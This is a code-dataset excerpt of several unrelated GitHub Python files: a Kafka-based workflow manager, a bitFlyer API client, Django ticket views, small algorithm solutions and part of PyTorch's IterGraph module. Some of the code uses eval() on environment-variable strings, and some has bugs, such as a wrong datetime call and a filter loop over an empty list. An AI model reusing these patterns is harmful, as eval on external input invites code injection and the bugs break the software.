eval(str(time.time()).replace('.', '')[0:13])\n client_output[\"error\"] = error\n client_output[\"metadata\"] = wf_details[\"metadata\"]\n return client_output\n\n\n # Method to initiate the workflow.\n # This fetches the first step of workflow and starts the job.\n def initiate_wf(self, wf_input):\n try:\n order_of_execution = wfmutils.get_order_of_exc(wf_input[\"workflowCode\"])\n first_step_details = order_of_execution[0]\n first_tool = first_step_details[\"tool\"][0]\n input_topic = os.environ.get(first_tool[\"kafka-input\"][0][\"topic\"], \"NA\")\n first_tool_input = wfmutils.get_tool_input_async(first_tool[\"name\"], None, None, wf_input)\n if first_tool_input is None or input_topic == \"NA\":\n error = post_error(\"INCOMPATIBLE_TOOL_SEQUENCE\", \"The workflow contains incompatible steps.\", None)\n client_output = self.get_wf_details_async(wf_input, None, True, error)\n self.update_job_details(client_output, False)\n log_error(\"The workflow contains incompatible steps.\", wf_input, None)\n return None\n partitions = os.environ.get(first_tool[\"kafka-input\"][0][\"partitions\"], str(total_no_of_partitions))\n producer.push_to_queue(first_tool_input, input_topic, eval(partitions))\n client_output = self.get_wf_details_async(wf_input, None, False, None)\n self.update_job_details(client_output, False)\n wf_input[\"metadata\"][\"module\"] = module_wfm_name # FOR LOGGING ONLY.\n log_info(\"Workflow: \" + wf_input[\"workflowCode\"] + \" initiated for the job: \" + wf_input[\"jobID\"], wf_input)\n log_info(first_tool[\"name\"] + log_msg_start + \" jobID: \" + wf_input[\"jobID\"], wf_input)\n except Exception as e:\n log_exception(\"Exception while initiating ASYNC workflow: \" + str(e), wf_input, e)\n post_error_wf(\"WFLOW_INITIATE_ERROR\", \"Exception while initiating workflow: \" + str(e), wf_input, e)\n\n # This method manages the workflow by tailoring the predecessor and successor tools for the workflow.\n def manage_wf(self, task_output):\n try:\n job_id = task_output[\"jobID\"]\n job_details = wfmutils.get_job_details(job_id)\n if not job_details:\n log_error(\"This job is not found in the system, jobID: \" + job_id, task_output, None)\n return None\n log_info(task_output[\"tool\"] + log_msg_end + \" jobID: \" + task_output[\"jobID\"], task_output)\n job_details = job_details[0]\n if job_details[\"status\"] == \"FAILED\" or job_details[\"status\"] == \"COMPLETED\" or job_details[\"status\"] == \"INTERRUPTED\":\n log_error(\"The job is already completed/failed/interrupted, jobID: \" + job_id, task_output, None)\n return None\n if task_output[\"status\"] != \"FAILED\":\n next_step_details = self.get_next_step_details(task_output)\n if next_step_details is not None:\n if next_step_details == \"EXC\":\n log_error(\"Job FAILED: \" + task_output[\"jobID\"], task_output, None)\n post_error_wf(\"NEXT_STEP_EXCEPTION\",\n \"There was an error while fetching the next step for this wf\", task_output, None)\n return None\n client_output = self.get_wf_details_async(None, task_output, False, None)\n self.update_job_details(client_output, False)\n next_step_input, next_tool = next_step_details[0], next_step_details[1]\n topic = os.environ.get(next_tool[\"kafka-input\"][0][\"topic\"], \"NA\")\n partitions = os.environ.get(next_tool[\"kafka-input\"][0][\"partitions\"], str(total_no_of_partitions))\n if next_step_input is None or topic == \"NA\":\n log_error(\"The workflow contains incompatible steps in sequence. Please check the wf config.\",\n task_output, None)\n post_error_wf(\"INCOMPATIBLE_TOOL_SEQUENCE\",\n \"The wf contains incompatible steps in sequence. Please check the wf config.\",\n task_output, None)\n return None\n next_step_input[\"stepOrder\"] = task_output[\"stepOrder\"] + 1\n producer.push_to_queue(next_step_input, topic, eval(partitions))\n log_info(next_tool[\"name\"] + log_msg_start + \" jobID: \" + task_output[\"jobID\"], task_output)\n else:\n log_info(\"Job COMPLETED: \" + task_output[\"jobID\"], task_output)\n client_output = self.get_wf_details_async(None, task_output, True, None)\n self.update_job_details(client_output, False)\n else: # Safety else block, in case module fails to push data to error topic\n log_error(\"Job FAILED: \" + task_output[\"jobID\"], task_output, None)\n client_output = self.get_wf_details_async(None, task_output, False, task_output[\"error\"])\n self.update_job_details(client_output, False)\n #self.push_to_notifier(task_output)\n except Exception as e:\n log_exception(\"Exception while managing the ASYNC workflow: \" + str(e), task_output, e)\n post_error_wf(\"WFLOW_MANAGE_ERROR\", \"Exception while managing workflow: \" + str(e), task_output, e)\n\n # Method to push details to noifier module.\n def push_to_notifier(self, task_output):\n job_details = self.get_job_details_bulk({\"jobIDs\": [task_output[\"jobID\"]]}, True)\n producer.push_to_queue(anu_etl_notifier_input_topic, job_details, total_no_of_partitions)\n log_info(\"Job details pushed to notifier. | Topic -- {}\".format(anu_etl_notifier_input_topic), task_output)\n\n # This method computes the input to the next step based on the step just completed.\n def get_next_step_details(self, task_output):\n wf_code = task_output[\"workflowCode\"]\n step_completed = task_output[\"stepOrder\"]\n order_of_execution = wfmutils.get_order_of_exc(wf_code)\n try:\n next_step_details = order_of_execution[step_completed + 1]\n next_tool = next_step_details[\"tool\"][0]\n next_task_input = wfmutils.get_tool_input_async(next_tool[\"name\"], task_output[\"tool\"], task_output, None)\n return next_task_input, next_tool\n except KeyError as e:\n log_exception(\"No next step found: \" + str(e), task_output, e)\n return None\n except Exception as e:\n log_exception(\"Exception while fetching next step\" + str(e), task_output, e)\n return \"EXC\"\n\n # Method to update the status of job.\n def update_job_details(self, wf_details, iscreate):\n if iscreate:\n wfmrepo.create_job(wf_details)\n del wf_details[\"_id\"]\n else:\n jobID = wf_details[\"jobID\"]\n wfmrepo.update_job(wf_details, jobID)\n\n # Method fetch wf details in a certain format using wf_input or task_output\n # This is the format in which the job details are stored in the db and also returned to user for ASYNC flow.\n def get_wf_details_async(self, wf_input, task_output, isfinal, error):\n if wf_input is not None:\n wf_details = wfmutils.get_job_details(wf_input[\"jobID\"])\n else:\n wf_details = wfmutils.get_job_details(task_output[\"jobID\"])\n if not wf_details:\n task_details = []\n if task_output:\n task_details = [task_output]\n client_output = {\"input\": wf_input, \"jobID\": wf_input[\"jobID\"],\n \"workflowCode\": wf_input[\"workflowCode\"], \"active\": True,\n \"status\": \"STARTED\", \"state\": \"INITIATED\", \"metadata\": wf_input[\"metadata\"],\n \"startTime\": eval(str(time.time()).replace('.', '')[0:13]), \"taskDetails\": task_details}\n else:\n wf_details = wf_details[0]\n if task_output is not None:\n task_details = wf_details[\"taskDetails\"]\n task_details.append(task_output)\n wf_details[\"output\"] = task_output[\"output\"]\n wf_details[\"state\"] = task_output[\"state\"]\n wf_details[\"taskDetails\"] = task_details\n client_output = wf_details\n if isfinal:\n client_output[\"status\"] = \"COMPLETED\"\n client_output[\"endTime\"] = eval(str(time.time()).replace('.', '')[0:13])\n else:\n client_output[\"status\"] = \"INPROGRESS\"\n if error is not None:\n client_output[\"status\"] = \"FAILED\"\n client_output[\"endTime\"] = eval(str(time.time()).replace('.', '')[0:13])\n client_output[\"error\"] = error\n client_output[\"metadata\"] = wf_details[\"metadata\"]\n return client_output\n\n # Method to search jobs on multiple criteria.\n def get_job_details_bulk(self, req_criteria, skip_pagination):\n try:\n criteria = {\"metadata.userID\": {\"$in\": req_criteria[\"userIDs\"]}}\n if 'jobIDs' in req_criteria.keys():\n if req_criteria[\"jobIDs\"]:\n jobIDs = []\n for jobID in req_criteria[\"jobIDs\"]:\n if jobID:\n jobIDs.append(jobID)\n if len(jobIDs) > 0:\n criteria[\"jobID\"] = {\"$in\": jobIDs}\n if 'workflowCodes' in req_criteria.keys():\n if req_criteria[\"workflowCodes\"]:\n wCodes = []\n for wCode in req_criteria[\"workflowCodes\"]:\n if wCode:\n wCodes.append(wCode)\n if len(wCodes) > 0:\n criteria[\"workflowCode\"] = {\"$in\": wCodes}\n if 'statuses' in req_criteria.keys():\n if req_criteria[\"statuses\"]:\n statuses = []\n for status in statuses:\n if status:\n statuses.append(status)\n if len(statuses) > 0:\n criteria[\"status\"] = {\"$in\": req_criteria[\"statuses\"]}\n exclude = {'_id': False}\n if 'taskDetails' not in req_criteria.keys():\n exclude[\"taskDetails\"] = False\n else:\n if req_criteria[\"taskDetails\"] is False:\n exclude[\"taskDetails\"] = False\n if 'error' in req_criteria.keys():\n if req_criteria[\"error\"] is False:\n exclude[\"error\"] = False\n if not skip_pagination:\n offset = 0 if 'offset' not in req_criteria.keys() else req_criteria[\"offset\"]\n limit = eval(str(page_default_limit)) if 'limit' not in req_criteria.keys() else req_criteria[\"limit\"]\n criteria[\"active\"] = {\"$ne\": False}\n jobs = wfmrepo.search_job(criteria, exclude, offset, limit)\n total_jobs = wfmrepo.search_job(criteria, exclude, None, None)\n return {\"count\": len(total_jobs), \"jobs\": jobs}\n else:\n return wfmrepo.search_job(criteria, exclude, None, None)\n except Exception as e:\n log_exception(\"Exception while searching jobs: \" + str(e), None, e)\n return None\n\n\n # Method to get wf configs from the remote yaml file.\n def get_wf_configs(self):\n return wfmutils.get_configs()\n\n # This function is called upon receiving an error on the error topic.\n # The error will be posted to the topic by one of the downstream services upon any error/exception in those services\n # This function will receive the error and update the status of the job.\n def update_errors(self, error):\n try:\n job_id = error[\"jobID\"]\n job_details = wfmutils.get_job_details(job_id)\n job_details = job_details[0]\n if job_details[\"status\"] == \"FAILED\" or job_details[\"status\"] == \"COMPLETED\" or job_details[\"status\"] == \"INTERRUPTED\":\n return None\n job_details[\"status\"] = \"FAILED\"\n job_details[\"endTime\"] = eval(str(time.time()).replace('.', '')[0:13])\n job_details[\"error\"] = error\n self.update_job_details(job_details, False)\n log_info(\"Job FAILED: \" + error[\"jobID\"], error)\n except Exception as e:\n log_exception(\"Failed to update tool error: \" + str(e), error, e)\n","repo_name":"Abhilash-tarento/anuvaad","sub_path":"anuvaad-etl/anuvaad-workflow-mgr/etl-wf-manager/service/wfmservice.py","file_name":"wfmservice.py","file_ext":"py","file_size_in_byte":23724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"27476450164","text":"def solution(A):\n # write your code in Python 2.6 \n sum=0\n pivot=[]\n prev=0\n\n l=len(A)-1\n \n for k,v in enumerate(A):\n sum+=v\n if(k!=l):\n pivot.insert(k,sum)\n else:\n pivot.insert(k,v)\n min=None\n \n for k,v in enumerate(pivot):\n firstHalf = v\n secondHalf = sum - firstHalf\n diff= abs(firstHalf - secondHalf)\n if(min==None or min>diff):\n min=diff\n return min\n","repo_name":"Petix/codility","sub_path":"lesson01/TapeEquilibrum.py","file_name":"TapeEquilibrum.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20069715399","text":"from datetime import datetime\nimport logging\nimport hashlib\nimport hmac\nimport requests\nimport json\n\nlogger = logging.getLogger(__name__)\n\n\nclass Balance(object):\n def __init__(self, currency, available):\n self.currency = currency\n self.available = available\n\n\nclass Ticker(object):\n def __init__(self, product_code, timestamp, bid, ask, volume):\n self.product_code = product_code\n self.timestamp = timestamp\n self.bid = bid\n self.ask = ask\n self.volume = volume\n\n\nclass APIClient(object):\n def __init__(self, api_key, api_secret, api_method, path_url, param={}, environment='practice'):\n self.base_url = \"https://api.bitflyer.jp\"\n self.api_key = api_key\n self.api_secret = api_secret\n self.api_method = api_method\n self.path_url = path_url\n self.timestamp = str(datetime.datetime.today())\n if param != {}:\n self.body = json.dumps(param)\n else:\n self.body = ''\n message = self.timestamp + self.api_method + self.path_url + self.body\n self.signature = hmac.new(bytearray(api_secret.encode('utf-8')), message.encode('utf-8'), digestmod=hashlib.sha256).hexdigest()\n self.headers = {\n 'ACCESS-KEY': self.api_key,\n 'ACCESS-TIMESTAMP': self.timestamp,\n 'ACCESS-SIGN': self.signature,\n 'Content-Type': 'application/json'\n }\n\n def get_balance(self):\n path_url = \"/v1/me/getbalance\"\n try:\n res = requests.get(self.base_url + path_url, headers=self.headers).json()\n except requests.exceptions.RequestException as e:\n logger.error(f'action=get_balance error={e}')\n raise\n return res\n\n def get_ticker(self, product_code) -> Ticker:\n query = '?product_code=' + product_code\n path_url = \"/v1/ticker\"\n try:\n res = requests.get(self.base_url + path_url + query).json()\n except requests.exceptions.RequestException as e:\n logger.error(f'action=get_ticker error={e}')\n raise\n product_code = res['product_code']\n timestamp = res['timestamp']\n bid = res['best_bid']\n ask = res['best_ask']\n volume = res['volume']\n return Ticker(product_code, timestamp, bid, ask, volume)\n","repo_name":"kasamatsu-t/python-bit-trading","sub_path":"bitFlyer/bitFlyer.py","file_name":"bitFlyer.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13792979692","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.views.generic.base import View\n\nfrom tickets.forms import NovaSolicitacaoForm\nfrom tickets.models import Interacao, Solicitacao\nfrom tickets.tables import SolicitacaoTable\n\n\nclass NovaSolicitacao(View):\n\n def get(self, request):\n\n form = NovaSolicitacaoForm\n\n return render(request, 'tickets/form.html', {'form': form})\n\n def post(self, request):\n\n form = NovaSolicitacaoForm(request.POST, request.FILES)\n\n if form.is_valid():\n\n obj = form.save(commit=True)\n obj.save()\n\n interacao = Interacao.objects.create(solicitacao=obj, tipo=Interacao.TIPO_STATUS_CHANGE, descricao='Solicitação aberta')\n interacao.send_mail_message()\n\n return redirect('cidades-list')\n\n return render(request, 'tickets/form.html', {'form': form})\n\n\nclass SolicitacaoView(View):\n\n def get(self, request):\n\n qs = Solicitacao.objects.all().order_by('id')\n\n table = SolicitacaoTable(qs)\n\n context = {\n 'table': table\n }\n return render(request, 'tickets/lista_tickets.html', context)\n\n def post(self, request):\n\n id = request.POST.get('id')\n solicitacao = get_object_or_404(Solicitacao, pk=id)\n\n tipo = request.POST.get('tipo')\n if tipo == 'resposta':\n mensagem = request.POST.get('mensagem', '')\n solicitacao.registrar_resposta(request.user, mensagem)\n\n elif tipo == 'finalizar':\n motivo = request.POST.get('motivo', '')\n operacao = request.POST.get('operacao', '')\n if operacao == 'c':\n solicitacao.cancelar(request.user, motivo)\n else:\n solicitacao.finalizar(request.user, motivo)\n\n return redirect('lista-solicitacao-ticket')\n\n\nclass AssinarView(View):\n\n def get(self, request, id):\n\n solicitacao = get_object_or_404(Solicitacao, pk=id)\n\n solicitacao.registrar_atendente(request.user)\n\n return redirect('lista-solicitacao-ticket')\n\n\nclass DetalheTicketView(View):\n\n def get(self, request, id):\n\n solicitacao = get_object_or_404(Solicitacao, pk=id)\n\n return render(request, 'tickets/detalhe.html', {'obj': solicitacao} )\n\n","repo_name":"lucheol/curso-django-2020","sub_path":"tickets/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"73818459432","text":"import unittest\nimport pandas as pd\nfrom src.converters.degrees_converter import get_degrees_cols, convert_degrees, convert_degrees_cols\nfrom src.converters.reference_converter import remove_reference_column, ReferenceConverter\n\n\nclass ReferenceConverterTests(unittest.TestCase):\n\n def test_remove_reference_col(self):\n \"\"\"\n Should remove reference column\n \"\"\"\n expect = ['ORIENTATION', 'ORIENT', 'DOA', 'COURSE', 'CRS']\n df = pd.DataFrame(columns=expect+['REFERENCE'])\n\n actual = list(remove_reference_column(df).columns)\n\n self.assertEqual(expect, actual)\n\n def test_converter(self):\n \"\"\"\n Should convert with convert module\n \"\"\"\n converter = ReferenceConverter()\n expect = ['ORIENTATION', 'ORIENT', 'DOA', 'COURSE', 'CRS']\n df = pd.DataFrame(columns=expect+['REFERENCE'])\n\n actual = list(converter.convert(df).columns)\n\n self.assertEqual(expect, actual)\n","repo_name":"jooppoelman/mer.io","sub_path":"src/tests/reference_converter_test.py","file_name":"reference_converter_test.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"487620897","text":"class SegmentTree:\n def __init__(self, index):\n self.index = index\n self.left = None\n self.right = None\n self.value = 0\ndef build_segment_tree(st, arr, l, r):\n if l == r:\n st.value = arr[l]\n else:\n st.left = SegmentTree(st.index*2)\n build_segment_tree(st.left, arr, l, (l+r) >> 1)\n st.right = SegmentTree(st.index*2 + 1)\n build_segment_tree(st.right, arr, ((l+r) >> 1) + 1, r)\n if st.left and st.right is not None:\n st.value = max(st.left.value, st.right.value)\n return st\n\ndef rmq(st, l, r, i, j):\n if l >= i and r <= j:\n return st.value\n t1 = rmq(st.left, l, (l+r) >> 1, i, j)\n t2 = rmq(st.right, ((l+r) >> 1) + 1, r, i, j)\n return max(t1, t2)\ndef rmq_caller(i, j):\n return rmq(st, 0, n - 1, i, j)\nn, q = map(int, input().split())\na = list(map(int, input().split()))\nfrequency = [a.count(i) for i in a]\nst = SegmentTree(1)\nst = build_segment_tree(st, frequency, 0, n - 1)\nfor _ in range(q):\n a, b = map(int, input().split())\n res = rmq_caller(a, b)\n print(res)","repo_name":"TranQuangDuc/Algorithms","sub_path":"Python/uva/11235 - Frequent values.py","file_name":"11235 - Frequent values.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14635541302","text":"#!/usr/bin/env python3\n\n# %%\nimport re\nimport requests\nfrom bs4 import BeautifulSoup\n\nuser_input = input(\"Enter the tracking ID : \")\nuser_input = user_input.upper()\n\n# %%\nbaseurl = \"https://ekartlogistics.com/shipmenttrack/\"\nURL = baseurl + user_input\n\n# %%\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE'\n}\nf = requests.get(URL, headers=headers)\nif not f.ok:\n raise Exception(\"GET failed with status code {}\".format(f.status_code))\n\nsoup = BeautifulSoup(f.content, 'html.parser')\n\n# %%\n\n# Run into a problem since the data i require is NOT in the HTML\n# file being received by enterong URL. Its being generated by js\n# have to study up more about web then maybe finish this\n","repo_name":"DietzscheNostoevsky/Small_Hobby_Projects","sub_path":"Ekart_tracking/tracking_script.py","file_name":"tracking_script.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7547149207","text":"\nfrom odoo import api, fields, models\n\n\nclass ResConfigSettings(models.TransientModel):\n _inherit = 'res.config.settings'\n\n allow_encumber_and_funds_check = fields.Boolean(string='Activate Encumberance and funds check')\n module_bills_encumberance = fields.Boolean(string='Activate Auto Encumberance')\n module_purchase_encumberance = fields.Boolean(string='Activate Encumberance for Purchase Orders')\n\n def get_values(self):\n res = super(ResConfigSettings, self).get_values()\n res.update(\n allow_encumber_and_funds_check =self.env['ir.config_parameter'].sudo().get_param('budget_management.allow_encumber_and_funds_check'),\n module_bills_encumberance=self.env['ir.config_parameter'].sudo().get_param(\n 'budget_management.module_bills_encumberance'),\n module_purchase_encumberance = self.env['ir.config_parameter'].sudo().get_param(\n 'budget_management.module_purchase_encumberance'),\n\n )\n return res\n\n def set_values(self):\n super(ResConfigSettings, self).set_values()\n self.env['ir.config_parameter'].sudo().set_param('budget_management.allow_encumber_and_funds_check', self.allow_encumber_and_funds_check)\n self.env['ir.config_parameter'].sudo().set_param('budget_management.module_bills_encumberance', self.module_bills_encumberance)\n self.env['ir.config_parameter'].sudo().set_param('budget_management.module_purchase_encumberance',\n self.module_purchase_encumberance)\n\n @api.onchange('module_purchase_encumberance')\n def onchange_module_purchase_encumberance(self):\n if self.module_purchase_encumberance:\n self.group_analytic_account_for_purchases = True\n\n @api.onchange('allow_encumber_and_funds_check')\n def onchange_allow_encumber_and_funds_check(self):\n if self.allow_encumber_and_funds_check:\n self.module_purchase_encumberance = True\n","repo_name":"slnee-it/SLNEE-MASTER","sub_path":"budget_management/models/res_config_settings.py","file_name":"res_config_settings.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"43305329963","text":"#\n# @lc app=leetcode id=103 lang=python\n#\n# [103] Binary Tree Zigzag Level Order Traversal\n#\n\n# @lc code=start\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def zigzagLevelOrder(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[List[int]]\n \"\"\"\n if not root:\n return []\n queue = [root]\n cur_node = 1\n result = []\n reverse = False\n while queue:\n next_node = 0\n layer = []\n while cur_node:\n node = queue[0]\n layer.append(node.val)\n queue.pop(0)\n cur_node -= 1\n if node.left:\n queue.append(node.left)\n next_node += 1\n if node.right:\n queue.append(node.right)\n next_node += 1\n cur_node = next_node\n if reverse:\n layer.reverse()\n reverse = not reverse\n result.append(layer)\n return result\n# @lc code=end\n\n","repo_name":"atalia/leetcode","sub_path":"103.binary-tree-zigzag-level-order-traversal.py","file_name":"103.binary-tree-zigzag-level-order-traversal.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1915561579","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 23 20:50:22 2022\n\n@author: sangyoon\n\"\"\"\n\nimport sys \nfrom collections import deque\ninput = sys.stdin.readline \n\ndef BFS(start):\n d = 0\n q = deque()\n for i in start:\n q.append((i, 0))\n visited[i[1]][i[0]] = True\n \n while q:\n n, d = q.popleft()\n x, y = n\n for i in range(4):\n xx = x + dx[i]\n yy = y + dy[i]\n if 0 <= xx < N and 0 <= yy < M:\n if graph[yy][xx] == 0:\n q.append(((xx, yy), d+1))\n graph[yy][xx] = 1\n return d\n\n \nN, M = map(int, input().split())\n\ngraph = []\nfor _ in range(M):\n graph.append(list(map(int, input().split())))\n \nvisited = [[False for _ in range(N)] for _ in range(M)]\n\ndy = [-1, 0, 1, 0]\ndx = [0, 1, 0, -1]\n\nfirst = []\n\nfor i in range(M):\n for j in range(N):\n if graph[i][j] == 1:\n first.append((j, i))\n\nday = BFS(first)\n\nisDone = True \n\nfor i in range(M):\n for j in range(N):\n if graph[i][j] == 0:\n isDone = False\n \nif isDone:\n print(day)\nelse:\n print(-1)","repo_name":"sangyun0904/BOJ_python_solve","sub_path":"baekjoon/DFS_BFS/baekjoon7576.py","file_name":"baekjoon7576.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"9114181985","text":"from datetime import date\nfrom decimal import Decimal\nfrom django.contrib.staticfiles.testing import StaticLiveServerTestCase\nfrom selenium import webdriver\nfrom selenium.webdriver.edge.service import Service\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium.webdriver.common.keys import Keys\nimport time\nimport os\nfrom django.contrib.auth import get_user_model\n\nfrom expenses.models import Categories, UsualExpenses\n\nMAX_WAIT = 20\nUSERNAME = \"test_user\"\nPASSWORD = \"12345\"\n\n\nUser = get_user_model()\n\n\nclass FunctionalTest(StaticLiveServerTestCase):\n \"\"\"functional test\"\"\"\n\n def wait(fn):\n print(\"*\" * 50)\n start_time = time.time()\n print(\"+\" * 50)\n while True:\n try:\n return fn\n except (AssertionError, WebDriverException) as e:\n if time.time() - start_time > MAX_WAIT:\n raise e\n print(\"waiting...\")\n time.sleep(0.5)\n\n def setUp(self):\n s = Service(\"C:/Users/7NR_Operator_21/Desktop/msedgedriver.exe\")\n self.browser = webdriver.Edge(service=s)\n staging_server = os.environ.get(\"STAGING_SERVER\")\n if staging_server:\n self.live_server_url = \"http://\" + staging_server\n\n self.user = User.objects.create_user(\n username=USERNAME, email=None, password=PASSWORD\n )\n\n def tearDown(self):\n self.browser.quit()\n\n def add_usual_expense(self, category, value, day):\n date_ = date(date.today().year, date.today().month, day)\n category_ = Categories.objects.create(name=category)\n UsualExpenses.objects.create(\n date=date_, category=category_, amount=Decimal(value)\n )\n\n # def add_free_money(self, value, date)\n","repo_name":"Temikmapper77/komanda","sub_path":"komanda/functional_tests/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14831403079","text":"import copy\nimport inspect\nimport logging\nfrom typing import Any, Callable, cast, Dict, List, Optional, Set, Tuple, Type\n\nimport torch.nn as nn\nfrom torch import fx\nfrom torch.distributed._spmd.graph_utils import (\n clone_subgraph,\n get_output,\n is_leaf_subgraph,\n)\nfrom torch.distributed._spmd.partial_lower import partial_lower\nfrom torch.fx.graph import _PyTreeCodeGen, PythonCode\nfrom torch.fx.node import Argument\nfrom torch.profiler import record_function\nfrom torch.utils import _pytree as pytree\nfrom torch.utils._pytree import tree_flatten, tree_map, tree_map_only, tree_unflatten\n\n\nlogger: logging.Logger = logging.getLogger(\"IterGraphModule\")\n\n\nclass IterGraph(fx.Graph):\n \"\"\"\n ``IterGraph`` is used to perform cross-iteration optimization. ``IterGraph``\n keeps track of the 3 graphs, self (the original graph), setup graph, and\n cleanup graph. The 3 graphs should be identical copies of a ``fx.Graph``.\n\n IterGraph subclass fx.Graph to override the necessary APIs that will be used\n when constructing a optimization, e.g., communication fusion. IterGraph also\n provides APIs that originally belong to fx.Node and all these APIs will have\n ``node_`` prefix. For example, ``IterGraph.node_prepend`` is the equivalence\n of ``fx.Node.prepend``. Note that all the optimizations must be constructed\n using these APIs.\n \"\"\"\n\n def __init__(\n self,\n orig_graph: fx.Graph,\n setup_graph: fx.Graph,\n cleanup_graph: fx.Graph,\n owning_module: Optional[fx.GraphModule] = None,\n tracer_cls: Optional[Type[\"fx.Tracer\"]] = None,\n tracer_extras: Optional[Dict[str, Any]] = None,\n ):\n super().__init__(owning_module, tracer_cls, tracer_extras)\n\n output_vals = self.graph_copy(orig_graph, {}, return_output_node=True)\n # TODO: if we do ``deepcopy(_codegen)`` and the input argument contains\n # a dictionary with the form of Dict[torch.Tensor, Any], the\n # torch.fx._pytree.treen_flatten_spec will not be able to flatten the\n # dict -- the torch.Tensor will be duplicated because the _input_spec\n # will save the ``keys`` of a dictionary (the values are not saved).\n self._codegen = copy.deepcopy(orig_graph._codegen)\n assert isinstance(output_vals, tuple)\n output_val, old_output_val = output_vals\n super().output(output_val, type_expr=getattr(old_output_val, \"type\", None))\n\n self.setup_graph = setup_graph\n self.cleanup_graph = cleanup_graph\n self._all_graphs: Tuple[fx.Graph, ...] = (\n self.setup_graph,\n self.cleanup_graph,\n cast(fx.Graph, super()),\n )\n\n self._setup_mapping: Dict[fx.Node, fx.Node] = {}\n self._cleanup_mapping: Dict[fx.Node, fx.Node] = {}\n self._freeze_cross_iter_movement = False\n self._cross_iter_block_count = 0\n\n for node, setup_node, cleanup_node in zip(\n self.nodes, self.setup_graph.nodes, self.cleanup_graph.nodes\n ):\n self._setup_mapping[node] = setup_node\n self._cleanup_mapping[node] = cleanup_node\n\n self.num_extra_output = 0\n\n def _lookup_node(self, node: fx.Node, graph: fx.Graph) -> Optional[fx.Node]:\n if graph == self.setup_graph:\n return self._setup_mapping.get(node, None)\n elif graph == self.cleanup_graph:\n return self._cleanup_mapping.get(node, None)\n return node\n\n def _fx_graph_call(\n self, graph: fx.Graph, func: str, *args: Any, **kwargs: Any\n ) -> Any:\n fx_graph: fx.Graph = graph if graph != self else cast(fx.Graph, super())\n return getattr(fx_graph, func)(*args, **kwargs)\n\n def _insert_context(self, func: str, node: fx.Node):\n class _InsertPoint:\n def __init__(self, insert_points: List[Any]):\n self.insert_points = insert_points\n\n def __enter__(self):\n pass\n\n def __exit__(self, type, value, tb):\n for insert_point in self.insert_points:\n insert_point.__exit__(type, value, tb)\n\n insert_points = []\n for graph in self._all_graphs:\n if node:\n actual_node = self._lookup_node(node, graph)\n assert actual_node is not None, \"Cannot handle None case now.\"\n else:\n actual_node = node\n insert_points.append(getattr(graph, func)(actual_node))\n\n return _InsertPoint(insert_points)\n\n def inserting_after(self, node):\n if self._freeze_cross_iter_movement:\n return super().inserting_after(node)\n return self._insert_context(\"inserting_after\", node)\n\n def inserting_before(self, node):\n if self._freeze_cross_iter_movement:\n return super().inserting_before(node)\n return self._insert_context(\"inserting_before\", node)\n\n def _forward_subgraph_inputs(\n self, subgraph: List[fx.Node], graph: fx.Graph, erase_node: bool\n ) -> int:\n \"\"\"\n This function turns the inputs of a subgraph into the extra output\n of the entire graph. If ``erase_node`` is True, the subgraph will be\n erased from the graph -- essentially forward the inputs of the subgraph\n to the output of the graph.\n \"\"\"\n output = get_output(graph)\n inputs = []\n all_nodes: Set[fx.Node] = set(subgraph)\n\n for node in subgraph:\n node_inputs = pytree.arg_tree_leaves(*node.args, **node.kwargs)\n for _input in node_inputs:\n if not isinstance(_input, fx.Node):\n continue\n if _input in all_nodes:\n continue\n inputs.append(_input)\n\n if erase_node:\n # We have to remove the node in the reversed order to ensure the\n # node has zero users.\n erased = set()\n for node in reversed(subgraph):\n if len(node.users) == 1:\n key = next(iter(node.users.keys()))\n if key == output:\n flatten_args, spec = tree_flatten((output.args, output.kwargs))\n if node not in flatten_args:\n # This optimizer node from the legacy _SPMD tracing.\n node.users.clear()\n elif str(node.target).startswith(\"aten.copy_\"):\n # This is the case where the optimizer is\n # functionalized with copy_.\n for i in range(len(flatten_args)):\n if flatten_args[i] == node:\n flatten_args[i] = node.args[0]\n else:\n # We have not figured out semantics of forwarding\n # all diff ops.\n raise RuntimeError(\n f\"IterGraph does not how to forward the output of {node}\"\n )\n output.args, output.kwargs = tree_unflatten(flatten_args, spec)\n\n # This is the step case where there is a virtual data dependency\n # (in-place update) between step and optimizer. And\n # functionalize_optim add this dependency\n for user in list(node.users.keys()):\n if user in erased:\n node.users.pop(user)\n if node.users:\n raise RuntimeError(\n \"IterGraph has not supported moving the nodes that \"\n \"produce users output result. \"\n f\"Error node: {node}.\"\n )\n self._fx_graph_call(graph, \"erase_node\", 